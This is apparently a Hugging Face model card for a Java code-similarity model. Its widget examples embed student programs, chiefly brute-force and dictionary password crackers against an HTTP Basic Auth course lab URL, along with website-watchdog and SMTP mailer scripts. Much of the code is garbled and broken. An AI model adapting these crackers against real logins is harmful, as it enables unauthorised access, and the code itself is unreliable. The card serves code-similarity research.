Model: buelfhood/SOCO-Java-UnixCoder-Softmax-PairClass-VAST-e50
Author: buelfhood
Pipeline: sentence-similarity
Library: sentence-transformers
Tags: sentence-transformers, safetensors, roberta, sentence-similarity, feature-extraction, generated_from_trainer, dataset_size:16705, loss:SoftmaxLoss, dataset:buelfhood/SOCO_TRAIN_java, arxiv:1908.10084, base_model:microsoft/unixcoder-base-unimodal, base_model:finetune:microsoft/unixcoder-base-unimodal, text-embeddings-inference, endpoints_compatible, region:us
Base models (finetune): id: microsoft/unixcoder-base-unimodal
Card metadata: tags: sentence-transformers, sentence-similarity, feature-extraction, generated_from_trainer, dataset_size:16705, loss:SoftmaxLoss
base_model: microsoft/unixcoder-base-unimodal
widget: source_sentence: 

import java.awt.*;
import java.String;
import java.util.*;
import java.io.*;
import java.net.*;



public class BruteForce
{
   private URL url;
   private HttpURLConnection connection ;
   private  int stopTime = 0;
   private  int startTime = 0;
   private  int count = 0;

   public BruteForce()
   {
      System.out.println("Process is running...");
      startTime = System.currentTimeMillis();
      threeLetters();
      twoLetters();
   }

   public static void main (String args[])
   {
      BruteForce bf = new BruteForce();
   }
   
   public void threeLetters()
   {
      String s1;
      char [] a = {'a','a','a'};

      for (int i0 = 0; i0 < 26; i0++)
      {
         for (int i1 = 0; i1 < 26; i1++)
         {
            for (int i2 = 0; i2 < 26; i2++)
            {
               s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) +
		            String.valueOf((char)(a[2] + i2));
               decision(s1);
               count++;

               s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) +
                    (String.valueOf((char)(a[2] + i2))).toUpperCase();
               decision(s1);
               count++;

               s1 = String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase() +
                    (String.valueOf((char)(a[2] + i2))).toUpperCase();
               decision(s1);
               count++;

               s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +
                    (String.valueOf((char)(a[1] + i1))).toUpperCase() +
                    (String.valueOf((char)(a[2] + i2))).toUpperCase();
               decision(s1);
               count++;

               s1 = (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase() +
                    String.valueOf((char)(a[2] + i2));
               decision(s1);
               count++;

               s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +
		            String.valueOf((char)(a[2] + i2));
               decision(s1);
               count++;

               s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +
                    (String.valueOf((char)(a[2] + i2))).toUpperCase();
               decision(s1);
               count++;

               s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +
                    (String.valueOf((char)(a[1] + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2));
               decision(s1);
               count++;
            }
         }
      }
   }
   
   public void twoLetters()
   {
      String s1;
      char [] a = {'a','a'};

      for (int i0 = 0; i0 < 26; i0++)
      {
         for (int i1 = 0; i1 < 26; i1++)
         {
            s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1));
            decision(s1);
            count++;

            s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)).toUpperCase();
            decision(s1);
            count++;

            s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +
                 (String.valueOf((char)(a[1] + i1))).toUpperCase();
            decision(s1);
            count++;

            s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1));
            decision(s1);
            count++;
         }
      }
   }

   
   public void decision(String s1)
   {
      if (find(s1) == 200)
      {
         stopTime = System.currentTimeMillis();
          runTime = stopTime - startTime;
         System.out.println("***************************************");
         System.out.println("\nAttack successfully");
         System.out.println("\nPassword is: " + s1);
         System.out.println("\nThe contents of the Web site: ");
         displayContent(s1);
         System.out.println("\nTime taken  crack: " + runTime + " millisecond");
         System.out.println("\nNumber of attempts: " + count);
         System.out.println();

         System.exit(0);
      }
   }
   
   
   public int find(String s1)
   {
      int responseCode = 0;
      try
      {
         url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
         connection = (HttpURLConnection)url.openConnection();

         connection.setRequestProperty("Authorization"," " + MyBase64.encode("" + ":" + s1));

         responseCode = connection.getResponseCode();

      }catch (Exception e)
      {
          System.out.println(e.getMessage());
      }
      return responseCode;
   }

   
   public void displayContent(String pw)
   {
      BufferedReader bw = null ;
      try
      {
         url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
         connection = (HttpURLConnection)url.openConnection();

         connection.setRequestProperty("Authorization"," " + MyBase64.encode("" + ":" + pw));
         InputStream stream = (InputStream)(connection.getContent());
         if (stream != null)
         {
             InputStreamReader reader = new InputStreamReader (stream);
             bw = new BufferedReader (reader);
             String line;

             while ((line = bw.readLine()) != null)
             {
                System.out.println(line);
             }
        }
      }
      catch (IOException e)
      {
         System.out.println(e.getMessage());
      }
   }
}





sentences: 
import java.io.*;
import java.net.Socket;
import java.util.*;

public class Email
{
     private String hello;
     private String mailFrom="";
     private String mailTo="";
     private String mailData="";
     
     private String subject="";
     private String content="";
     private String follows="";
     private String changeContent="";
     private String stop="";
     private String end="";
     private String line="";
     private InputStream is;
     private BufferedReader bf;
     private OutputStream os;
     private PrintWriter pw;
     public Email(Vector change)  throws Exception
     {
      hello= "HELO mail.rmit.edu.";
      mailFrom = "MAIL FROM: @cs.rmit.edu.";
      mailTo = "RCPT : @cs.rmit.edu.";
      mailData = "DATA";
      subject="Subject: Some changes occur";
      content=" is some changes  the : http://www.cs.rmit.edu./students/";
      follows="The changes  as follows:";
      for(int i=0;i<change.size();i++)
        changeContent+=change.elementAt(i).toString()+"\r\n";
      stop ="\r\n.";
      end="QUIT";
     }
     public void send() throws Exception
     {
      Socket sk = new Socket("mail.cs.rmit.edu.",25);
      is= sk.getInputStream();
      os = sk.getOutputStream();
      pw = new PrintWriter(new OutputStreamWriter(os));
      pw.println(hello);
      pw.println(mailFrom);
      pw.println(mailTo);
      pw.println(mailData);
      pw.println();
      pw.println(subject);
      pw.println(content);
      pw.println(follows);
      pw.println(changeContent);
      pw.println(stop);
      pw.println(end);
      pw.flush();
      pw.get();
      
     }
}, 
import java.awt.*;
import java.awt.event.*;
import java.io.*;
import java.util.*;
import java.net.*;

public class Dictionary
{
   private String userPassword;
   private static int counter;





   public Dictionary(String username)
   {
    String user;
    String password;
    counter = 0;
    user = username;

          try
          {
            FileReader fr = new FileReader( "/usr/share/lib/dict/words" );
            BufferedReader bf = new BufferedReader( fr );

              while ((password = bf.readLine()) != null)
              {
                  userPassword = user + ":" + password;

                   System.out.print(".");

                     if (password.length() == 3)
                         if (doEncoding(userPassword)== true)
                         {
                            System.out.println(password);
                            return;
                        }

                  counter++;
               }
          }
          catch ( IOException ioe )
          {
            System.err.println( ioe.toString() );
          }
   }




   private boolean doEncoding(String userPassword)
   {
       String encoding = new misc.BASE64Encoder().encode (userPassword.getBytes());
       return doAttempt(encoding);
   }





   private boolean doAttempt (String encoding)
   {

      try
      {
         URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");

         URLConnection uc = url.openConnection();
         uc.setDoInput(true);
         uc.setDoOutput(true);

         uc.setRequestProperty  ("Get", "/SEC/2/ " + "HTTP/1.1");
         uc.setRequestProperty  ("Host", "sec-crack.cs.rmit.edu.");
         uc.setRequestProperty  ("Authorization", " " + encoding);

         return uc.getHeaderField(0).trim().equalsIgnoreCase("HTTP/1.1 200 OK");
       }
       catch (MalformedURLException e)
       {
         System.out.println ("Invalid URL");
       }
       catch (IOException e)
       {
         System.out.println (e.toString() );
       }

       return false;
   }





  public static void  main(String args[])
   {
     Date sdate = new Date();
     System.out.print("Starting the Ditionary Attack at:" + sdate + "\n");

     Dictionary bf = new Dictionary(args[0]);

     Date edate = new Date();
     System.out.print("Ditionary Attack ends at:" + sdate + "\n");
     System.out.println("Time taken by Dictionary is : " + (edate.getTime() - sdate.getTime())/1000 + " seconds \n");
     System.out.print("Attempts  in this session:" + counter + "\n");

   }
}




, 


import java.text.*;  
import java.util.*;  
import java.net.*;  
import java.io.*;  

  
public class BruteForce {  

   public int runProcess(String urlString,String passwd) {  

       int returnval = 0;
       MyAuthenticator auth = new MyAuthenticator(passwd);
       Authenticator.setDefault(auth);

	       System.out.println("trying passord: " + passwd);
       try{
            URL yahoo = new URL(urlString); 
            BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));
            String inputLine;
            while ((inputLine = in.readLine()) != null) {
	       System.out.println(inputLine);
	       System.out.println("passord: " + passwd);
               returnval = 1;
            }
	    in.close();
          }catch(Exception e){ returnval = 0;}
       return returnval;
   }

   public static void  main(String argv[]) {  

       String[] val = 
{"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"};

      int l1 = 0;

      int l2 = 0;

      int l3 = 0;
      
      int retval = 0;

      String pwd = "";

      
      BruteForce s = new BruteForce();  
      String urlToSearch = "http://sec-crack.cs.rmit.edu./SEC/2/";  
    
      for (int a = 0; a < 52; a++) {

        l1 = a;

        pwd = val[l1];
        retval = 0;
        retval = s.runProcess(urlToSearch,pwd);  
        if (retval > 0) {
           System.exit(0);
        }
      }


      for (int b = 0; b < 52; b++) {
        l1 = b;
        for (int c = 0; c < 52; c++) {

          l2 = c;
          pwd = val[l1]+ val[l2];
          retval = 0;
          retval = s.runProcess(urlToSearch,pwd);  
          if (retval > 0) {
             System.exit(0);
          }
        }
      }


      for (int d = 0; d < 52; d++) {
        l1 = d;
        for (int e = 0; e < 52; e++) {
          l2 = e;
          for (int f = 0; f < 52; f++) {

              l3 = f;

              pwd = val[l1]+ val[l2]+ val[l3];
              retval = 0;
              retval = s.runProcess(urlToSearch,pwd);  
              if (retval > 0) {
                 System.exit(0);
              }
           }
        }
      }

    }  
}     

, source_sentence: 






import java.io.*;
import java.lang.Object;

public class WatchDog
{

   
   public static void main(String args[])throws Exception
   {
        Process p1,p2,p3,p4,p5;
        
        for(;;)
        {
          

          String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"Part 2-Assignment2 \"  < change.html"};
          String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* predir"};
          String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* predir"};
          String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* postdir"};
          String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* postdir"};
          String s6[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};


          Process p = Runtime.getRuntime().exec("mkdir predir");
          p.waitFor();
          Process p1 = Runtime.getRuntime().exec("mkdir postdir");
          p1.waitFor();

          
          p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
          p1.waitFor();

          Process q2 = Runtime.getRuntime().exec(s2);
          q2.waitFor();
          Process q3 = Runtime.getRuntime().exec(s3);
          q2.waitFor();

          
          Thread.sleep(86400000);

          p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
          p3.waitFor();

          Process q4 = Runtime.getRuntime().exec(s4);
          q4.waitFor();
          Process q5 = Runtime.getRuntime().exec(s5);
          q5.waitFor();

          try
          {
            String str;
            p4 = Runtime.getRuntime().exec(s6);
            DataInputStream inp1 = new DataInputStream(p4.getInputStream());
            p4.waitFor();
            
            System.out.println("The WatchDog - Returns 0 if  change  else 1");
            System.out.println("Value :" + p4.exitValue());
            try
            {
                while ((str = inp1.readLine()) != null)
                {
                    System.out.println(str);
                }
            }
            catch (IOException e)
            {
                System.exit(0);
            }

          }
          catch(FileNotFoundException e )
          {
              e.printStackTrace();
          }

          BufferedReader in = new BufferedReader(new FileReader("change.html"));
          
          if (in.readLine() != null)
          {

          try
          {
            String str1;
            p5 = Runtime.getRuntime().exec(s1);
            DataInputStream inp2 = new DataInputStream(p5.getInputStream());
            p5.waitFor();
          try
            {
                while ((str1 = inp2.readLine()) != null)
                {
                    System.out.println(str1);
                }
            }
            catch (IOException e1)
            {
                System.exit(0);
            }

          }
          catch(FileNotFoundException exp)
          {
              exp.printStackTrace();
          }

        }
    }
  }
}


sentences: import java.util.*;
import java.io.*;
import javax.swing.text.html.*;


public class WatchDog {

  public WatchDog() {

  }
  public static void main (String args[]) {
    DataInputStream newin;

    try{
      System.out.println("ishti");

      System.out.println("Downloading first copy");
      Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");
      String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};
      String[] cmdMail = {"//sh", "-c", "mailx -s \"Diffrence\" \"@cs.rmit.edu.\" < Diff.txt"};
      while(true){
            Thread.sleep(24*60*60*1000);
            System.out.println("Downloading new copy");
            Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");
            Thread.sleep(2000);
            Runtime.getRuntime().exec(cmdDiff);
            Thread.sleep(2000);
            newin = new DataInputStream( new FileInputStream( "Diff.txt"));
            if (newin.readLine() != null){
               System.out.println("Sending Mail");
               Runtime.getRuntime().exec(cmdMail);
               Runtime.getRuntime().exec("cp newfile.html oldfile.html");

            }
        }

    }
    catch(Exception e){
      e.printStackTrace();
    }

    }

}, 
import java.net.*;
import java.*;
import java.io.*;
import java.util.GregorianCalendar;
public class Dictionary
{



    public void crackAddress(String fileName) throws Exception
    {
       String line,username="",passwd,pass;
       int flag=0,i;
       BufferedReader bf = new BufferedReader(new FileReader(fileName));
       Runtime run = Runtime.getRuntime();
       GregorianCalendar =new GregorianCalendar();
       while((passwd=bf.readLine().trim())!=null)
       {
           if((i=passwd.indexOf("\'"))!= -1)
                 {
                    passwd =passwd.substring(0,i)+("\\")+(passwd.substring(i,passwd.length()));
                 }

          System.out.println("Hack password with the word:"+passwd);
	      String command_line = "lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth="+username+":"+passwd+" -dump";
	      Process result = run.exec(command_line);
          BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));

        while((line=bf.readLine())!=null)
        {
           flag=1;
           break;

        }
        if(flag==1)
        {
           System.out.println("The username is: "+username+" The password is: "+passwd);
           break;
        }
       }
       GregorianCalendar end=new GregorianCalendar();
       double time = (double)(end.getTimeInMillis()-System.getTimeInMillis())/1e3;
       System.out.println("The attack use"+time+" seconds.");
    }

public static void main(String args[]) throws Exception
{
   Dictionary ds = new Dictionary();
   ds.crackAddress(args[0]);
}
}, import java.*;
import java.io.*;
public class C
{
    public static void main (String [] args){
    try{
        
        int m=0,n=0,w=0;
        String file = "passwd.";
        char ch1='A',ch2='A',ch3='A';
        for(int i = 0 ; i < 26; i++ )
        {
          for(w=0;w<2;w++)
          {
           if (w==1)
            i+=32;
           for(int j = 0; j< 26 ; j++)
           {
            for(n=0;n<2;n++)
            {
              if(n==1)
                j+=32;
            for(int k = 0; k<26 ; k++)
               {
                 for(m=0; m<2; m++)
                 {
                   if(m==1)
                    k+=32;
                    char data[] = {(char)(i+ch1), (char)(j+ch2), (char)(k+ch3)};
                    String str = new String(data);
                    System.out.println(str);
                    FileWriter fr1 = new FileWriter(file,true);
                    BufferedWriter in1 = new BufferedWriter(fr1);
                    in1.write(str);
                    in1.newLine();
                    in1.print();
                   if (k>=31)
                       k-=32;
                     }
                }
             if(j>=31)
              j=j-32;
              }
           }
           if(i>=31)
              i-=32;
              }
        }
}
catch(IOException e)
{
  System.out.println("try");
}
}
}
, source_sentence: 
import java.net.*;
import java.io.*;
import java.misc.*;
import java.io.BufferedInputStream;
import java.awt.*;
import java.awt.event.*;

public class WriteFile
{
   String url;
   String fileName;
   int flag;
   private PrintWriter out2;
   private TextArea response;
   int status;
   int mailFlag;

   public WriteFile (String newUrl, String newFileName, int newFlag)
   {
       url = newUrl;
       fileName = newFileName;
       PrintWriter printW = null;
       FileOutputStream fout;
       flag = newFlag;
       status = 0;
       mailFlag = 0;

       
       File file = new File(fileName);
       file.delete();

       try
       {
          fout = new FileOutputStream(fileName,true);
          printW = new PrintWriter(fout);
       }
       catch (IOException ioe)
       {
          System.out.println("IO Error : " + ioe);
       }


       URL u;
       URLConnection uc;

       try
       {
          u = new URL(url);
          try
          {
             
             uc = u.openConnection();

             InputStream content = (InputStream)uc.getInputStream();
             BufferedReader in = new BufferedReader (new InputStreamReader(content));

             String line;

             
             while ((line = in.readLine()) != null)
             {
                
                printW.println(line);

             }
          }
          catch (Exception e)
          {
             System.out.println("Error: " + e);
          }
       }
       catch (MalformedURLException e)
       {
          System.out.println(url + " is not a parseable URL");
       }
       
       printW.print();


       if(flag == 1)
       {
          
           compareDiff("@.rmit.edu.");
       }
   }

  String loadStream(InputStream in) throws IOException
  {
        int ptr = 0;
        in = new BufferedInputStream(in);
        StringBuffer buffer = new StringBuffer();

        while( (ptr = in.next()) != -1 )
        {
            status++;
            
            buffer.append((char)ptr);
            mailFlag++;
            
        }
        return buffer.toString();
   }

    public void compareDiff(String emailAdd)
    {
       String cmds = "diff test1.txt test2.txt";
       PrintWriter printW2 = null;
       FileOutputStream fout2;
       
       File file = new File("diff.txt");
       file.delete();
       String ;

       try
       {
          fout2 = new FileOutputStream("diff.txt",true);
          printW2 = new PrintWriter(fout2);
       }
       catch (IOException ioe)
       {
          System.out.println("IO Error : " + ioe);
       }

       try
       {


          
          Process ps = Runtime.getRuntime().exec(cmds);
          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));

          printW2.println(loadStream(ps.getInputStream())+"\n");
          printW2.print();


          if(mailFlag != 0)
          {
             FileReader fRead2;
             BufferedReader buf2;

             try
             {
                fRead2 = new FileReader("diff.txt");
                buf2 = new BufferedReader(fRead2);
                String line2;
                int i=0;

                line = new String("  some changes  the web  as followed: \n");
                
                Socket s = new Socket("wombat.cs.rmit.edu.", 25);
                out2 = new PrintWriter(s.getOutputStream());

                send(null);
                send("HELO cs.rmit.edu.");
                send("MAIL FROM: @.rmit.edu.");
                
                send("RCPT : @.rmit.edu.");
                send("DATA");
                

                while( (line2 = buf2.readLine()) != null)
                {
                   
 line= new String(""+line2+"\n");
                   
                   

                }
                
                
                
                out2.print();
                send(".");
                s.print();
             }
             catch(FileNotFoundException e)
             {
                System.out.println("File not found");
             }
             catch(IOException ioe)
             {
                System.out.println("IO Error " + ioe);
             }
          }

          System.out.println(loadStream(ps.getInputStream()));
          
          System.err.print(loadStream(ps.getErrorStream()));
        }
        catch(IOException ioe)
        {
            ioe.printStackTrace();
        }
    }

    public void send(String s) throws IOException
    {
    	response = new TextArea();
      	if(s != null)
      	{
            response.append(s + "\n");
            out2.println(s);
	    out2.flush();
	}
    }

   public int getStatus()
   {
      return status;
   }
}
sentences: import java.io.*;
import java.net.*;











public class BruteForce
{
   private String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
   private static String password;
   private static int length;          
   private static int t_counter;       
   private static int f_counter;       
                                       
   private static int cases;           
                                       
   private static int respCode;        

   public BruteForce()
   {
      Authenticator.setDefault(new BruteForceAuthenticator());
      t_counter = 0;
      f_counter = 0;
      cases = 0;
   }

   public static void main (String[] args)
   {
      BruteForce bf = new BruteForce();
      String file = " ";
      while(respCode != 200)
      {
         file = bf.fetchURL();
      }
      System.out.println("Number of attempts: " + t_counter);
      System.out.println("Password: " + password);
      System.out.println(file);
   }

   private String fetchURL()
   {
      StringWriter sw = new StringWriter();
      PrintWriter pw = new PrintWriter();

      try
      {
         URL url = new URL(urlString);
         HttpURLConnection huc = (HttpURLConnection)url.openConnection();
         respCode = huc.getResponseCode();
         InputStream content = huc.getInputStream();
         BufferedReader in = 
            new BufferedReader (new InputStreamReader (content));
         String line;
         while ((line = in.readLine()) != null) 
         {
            pw.println(line);
         }
      } catch (IOException e) {
         pw.println("Error  URL");
      }
      return sw.toString();
   }
            
   class BruteForceAuthenticator extends Authenticator 
   {
      private String username = "";

      protected PasswordAuthentication getPasswordAuthentication()
      {
         return new PasswordAuthentication(username,generatePassword());
      }

      protected char[] generatePassword()
      {
         int i,j,k;
         int n = 26;
         String letters1 = "qwertyuiopasdfghjklzxcvbnm";
         String letters2 = "abcdefghijklmnopqrstuvwxyz";
 
         i=0;
         j=0;
         k=0;
   
         
         
         if(t_counter == 0)
         {
            length = 1;
            cases = 0;
            f_counter = 0;
         }
         if(t_counter == 2*n)
         {
            length = 2;
            cases = 0;
            f_counter = 0;
         }
         if(t_counter == (2*n + 4*n*n))
         {
            length = 3;
            cases = 0;
            f_counter = 0;
         }

         char c[] = new char[length];

         
         
         if(length == 1)
         {
            if(f_counter == n)
            {
               cases++;
               f_counter = 0;
            }
            i = f_counter;

         } else if(length == 2) 
         {
            if(f_counter == n*n)
            {
               cases++;
               f_counter = 0;
            }
            i = f_counter/n;
            j = f_counter - i*n;

         } else if(length == 3) 
         {
            if(f_counter == n*n*n)
            {
               cases++;
               f_counter = 0;
            }
            i = f_counter/(n*n);
            j = (f_counter - i*n*n)/n;
            k = f_counter - i*n*n - j*n;
         }

         
         switch(cases)
         {
            case 0:
               c[0] = letters1.charAt(i);
               if(length > 1) c[1] = letters1.charAt(j);
               if(length > 2) c[2] = letters1.charAt(k);
               break;
            case 1:
               c[0] = Character.toUpperCase(letters1.charAt(i));
               if(length > 1) c[1] = Character.toUpperCase(letters1.charAt(j));
               if(length > 2) c[2] = Character.toUpperCase(letters1.charAt(k));
               break;
            case 2:
               c[0] = Character.toUpperCase(letters1.charAt(i));
               c[1] = letters1.charAt(j);
               if(length > 2) c[2] = letters1.charAt(k);
               break;
            case 3:
               c[0] = letters1.charAt(i);
               c[1] = Character.toUpperCase(letters1.charAt(j));
               if(length > 2) c[2] = letters1.charAt(k);
               break;
            case 4:
               c[0] = letters1.charAt(i);
               c[1] = letters1.charAt(j);
               c[2] = Character.toUpperCase(letters1.charAt(k));
               break;
            case 5:
               c[0] = Character.toUpperCase(letters1.charAt(i));
               c[1] = Character.toUpperCase(letters1.charAt(j));
               c[2] = letters1.charAt(k);
               break;
            case 6:
               c[0] = letters1.charAt(i);
               c[1] = Character.toUpperCase(letters1.charAt(j));
               c[2] = Character.toUpperCase(letters1.charAt(k));
               break;
            case 7:
               c[0] = Character.toUpperCase(letters1.charAt(i));
               c[1] = letters1.charAt(j);
               c[2] = Character.toUpperCase(letters1.charAt(k));
               break;
            default:
               break;
         }

         f_counter++;
         t_counter++;

         password = new String(c);
         return c;
      }
   }
}
, 
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;

public class MyClient2 implements Runnable
{
   private String hostname;
   private int port;
   private String filename;
   private Socket s;
   private int n;
   private InputStream sin;
   private OutputStream sout;
   private int dif;
   private String myPassword;
   private int status;
   private int myTime;
   private BruteForce myMaster;
   

   public MyClient2(BruteForce bf , int num, int myPort, String password)
   {
      
      hostname = new String("sec-crack.cs.rmit.edu.");
      port = myPort;
      status = 0;
      myTime = 0;
      myPassword = password;
      filename = new String("/SEC/2/");
      myMaster = 0;
      n = num;
      dif = 0;
      
   }
   public  getDif()
   {
      return dif;
   }
   public int getStatus()
   {
      return status;
   }
   public void run() 
   {
      String inputLine;
      String[] tokens = new String[5];
      int i;
       myTime = 0;
       finish = 0;
      start = System.currentTimeMillis();
      try
      {
         s = new Socket( hostname, port);
      }catch( UnknownHostException e)
      {
         System.out.println("'t find host");
      }catch( IOException e)
       {
          System.out.println("Error connecting  host "+n);
	  return;
       }
      while(s.isConnected() == false)
         continue;
      
      finish = System.currentTimeMillis();
      dif = finish - start;
      
      try
      {
        sin  = s.getInputStream();
      }catch( IOException e)
       {
          System.out.println("'t open stream");
       }
      BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
      try
      {
         sout = s.getOutputStream();
      }catch( IOException e)
       {
          System.out.println("'t open stream");
       }
      
      PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
      toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization:  "+Base64.encode(""+":"+myPassword)+"\r\n\r\n");
      toServer.flush();
      
      try
      {
         inputLine = fromServer.readLine();
      }catch( IOException e)
       {
          System.out.println("'t open stream");
	  inputLine = null;
       }
      
      java.util.StringTokenizer  = new java.util.StringTokenizer( inputLine, " ");
      i = 0;
      while(sin.hasMoreTokens())
      {
         tokens[i] = sin.nextToken();
	 i++;
      }
      status = Integer.parseInt( tokens[1]);
      myTime = System.currentTimeMillis();
      if( status == 200)
      {
         System.out.println("Ok "+myPassword);
	 myMaster.retire( this);
      }
     
      toServer.send();
      try
      {
         fromServer.receive();
      }catch( IOException e)
       {
          System.out.println("'t open stream");
       }
      try
      {
         s.connect();
      }catch( IOException e)
       {
          System.out.println("'t  connection");
	  System.exit(0);
       }
   }
   public  getTime()
   {
      return myTime;
   }
  
}
, 
import java.net.*; 
import java.io.*; 
public class BruteForce {
private static String password="   "; 

   
  public static void main(String[] args) {
	   String Result=""; 
	  if (args.length<1)
			 {
			   System.out.println("Error:  Correct Format Filename, username e.g<>"); 
				System.exit(1);	
			 }
			 BruteForce bruteForce1 = new BruteForce();
			  Result=bruteForce1.Password("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]); 
			  System.out.println("The Password of   "+args[0]+"is.."+Result);  
			  
		  }



 private String Password(String urlString,String username) 
 { 
 int cnt=0;
 
 t0 = System.currentTimeMillis();  
  for ( char ch = 'A';  ch <= 'z';  ch++ )
  { 
						 if (ch>'Z' && ch<'a')
						 { 
						   ch='a'; 
						 } 
				
				for ( char ch1 = 'A';  ch1 <= 'z';  ch1++ )
				 { 
					  
						if (ch1>'Z' && ch1<'a')
						 { 
						   ch1='a'; 
						 }


					 for ( char ch2 = 'A';  ch2 <= 'z';  ch2++ )
						 { 
							if (ch2>'Z' && ch2<'a')
						 { 
						   ch2='a'; 
						 }
							password=String.valueOf(ch)+String.valueOf(ch1)+String.valueOf(ch2);
								System.out.print("crackin...:"); 
					           	System.out.print("\b\b\b\b\b\b\b\b\b\b\b" ); 
						try
						{
					
				
				
				URL url = new URL (urlString);
				String userPassword=username+":"+password;  

       
		   String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());
			 URLConnection conc= url.openConnection();  
					   conc.setRequestProperty  ("Authorization", " " + encoding);			   
					   conc.connect();  
						cnt++;
					   if (conc.getHeaderField(0).trim().equalsIgnoreCase("HTTP/1.1 200 OK"))
						 {
							 t1 = System.currentTimeMillis();  
							 net=t1-t0;                                    
							System.out.println("The Number of Attempts "+cnt); 
							System.out.println("Total Time Taken in secs"+net/1000); 
							return password;  
						}
					
				}

		      	catch (Exception e )
				{
				  e.printStackTrace();   

				}

			
		     
		  
		  }
		  



         
                         
	    }  
        
  
	} 
        return "Password could not  found";  

 }


}, source_sentence: package java.httputils;

import java.io.IOException;
import java.net.MalformedURLException;
import java.sql.Timestamp;


public class RunnableBruteForce extends BruteForce implements Runnable
{
    protected int rangeStart, rangeEnd;
    protected boolean stop = false;
    
    public RunnableBruteForce()
    {
        super();
    }

    
    public void run()
    {
        process();
    }

    public static void main(String[] args)
    {
    }
    
    public int getRangeEnd()
    {
        return rangeEnd;
    }

    
    public int getRangeStart()
    {
        return rangeStart;
    }

    
    public void setRangeEnd(int i)
    {
        rangeEnd = i;
    }

    
    public void setRangeStart(int i)
    {
        rangeStart = i;
    }

    
    public boolean isStop()
    {
        return stop;
    }

    
    public void setStop(boolean b)
    {
        stop = b;
    }

    public void process()
    {
        String password = "";
        
        System.out.println(Thread.currentThread().getName() +
                            "->  workload: " +
                            this.letters[getRangeStart()] + "  " +
                            this.letters[getRangeEnd() - 1]);
        setStart(new Timestamp(System.currentTimeMillis()));

        for (int i = getRangeStart();
            i < getRangeEnd();
            i++)
        {
            System.out.println(Thread.currentThread().getName() +
                    "-> Trying words beginning with: " +
                    letters[i]);
            for (int i2 = 0;
                i2 < letters.length;
                i2++)
            {
                for (int i3 = 0;
                    i3 < letters.length;
                    i3++)
                {
                    if (isStop())
                    {
                        return;
                    }
                    try
                    {
                        char [] arr = new char [] {letters[i], letters[i2], letters[i3]};
                        String pwd = new String(arr);
                        
                        if (Thread.currentThread().getName().equals("Thread-1") && pwd.equals("bad"))
                        {
                            System.out.println(Thread.currentThread().getName() +
                                   "-> Trying password: " +
                                    pwd);
                        }
                        attempts++;

                        BasicAuthHttpRequest req =
                            new BasicAuthHttpRequest(
                                getURL(),
                                getUserName(),
                                pwd);
                        System.out.println("Got the password");
                        setPassword(pwd);
                        setEnd(new Timestamp(System.currentTimeMillis()));
                        setContent(req.getContent().toString());

                        
                        this.setChanged();
                        this.notifyObservers(this.getContent());
                        return;
                    }
                    catch (MalformedURLException e)
                    {
                        e.printStackTrace();
                        return;
                    }
                    catch (IOException e)
                    {

                    }
                }
            }
        }

        
        setEnd(new Timestamp(System.currentTimeMillis()));
    }

}

sentences: 

public class Base64 {


static public char[] encode(byte[] data)
{
    char[] out = new char[((data.length + 2) / 3) * 4];

    
    
    
    
    for (int i=0, index=0; i<data.length; i+=3, index+=4) {
        boolean quad = false;
        boolean trip = false;

        int bat = (0xFF & (int) data[i]);
        bat <<= 8;
        if ((i+1) < data.length) {
            bat |= (0xFF & (int) data[i+1]);
            trip = true;
        }
        bat <<= 8;
        if ((i+2) < data.length) {
           bat  |= (0xFF & (int) data[i+2]);
            quad = true;
        }
        out[index+3] = alphabet[(quad? ( bat & 0x3F): 64)];
        bat >>= 6;
        out[index+2] = alphabet[(trip? ( bat & 0x3F): 64)];
        bat >>= 6;
        out[index+1] = alphabet[bat & 0x3F];
        bat >>= 6;
        out[index+0] = alphabet[ bat & 0x3F];
    }
    return out;
